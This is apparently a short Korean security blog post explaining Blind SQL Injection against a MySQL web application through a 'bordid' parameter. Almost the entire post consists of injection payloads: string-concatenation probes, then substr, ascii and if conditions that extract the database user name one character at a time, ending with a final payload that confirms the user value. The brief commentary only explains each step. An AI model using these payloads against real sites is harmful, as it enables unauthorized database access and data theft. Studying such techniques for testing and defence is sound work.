본문 바로가기

보안/WEB

[WEB보안] Blind SQL Injection_if조건문

반응형

DB 종류 : MySQL

정상 파라미터 값 : bordid=no0001

bordid=no'||'0001

→ 파라미터 값 중간에 연결연산자 입력 후 응답값 확인

bordid=no'||0||'001

bordid=no'||select 0||'001

→ 연결연산자 '0'(참) 및 '1'(거짓) 입력 후 응답값 확인

※ 에러 발생 시 "|| = URL 인코딩"

bordid=no'||__<blind SQL Injection 구문>__||001

1. (select+user())

→ user() 값 검색

2. (substr((select+user()),1,1)

→ user() 값 첫글자 한글자 요청

3. (ascii(substr((select+user()),1,1)>100)

→ user() 값 첫글자 한글자 요청 값이 아스키코드 값으로 100보다 큰지?

4. (select+if((ascii(substr((select+user()),1,1)>100),'0','1'))

→ 크면 참 작으면 거짓 응답값

5. (select+if((ascii(substr((select+user()),1,1)=114),'0','1'))

→ 첫번째 한글자가 아스키코드 114가 맞는지? 확인

최종결과 확인 :

bordid=no'||(select+if((select+user()='root@1.1.1.1'),'0','1'))||'001

반응형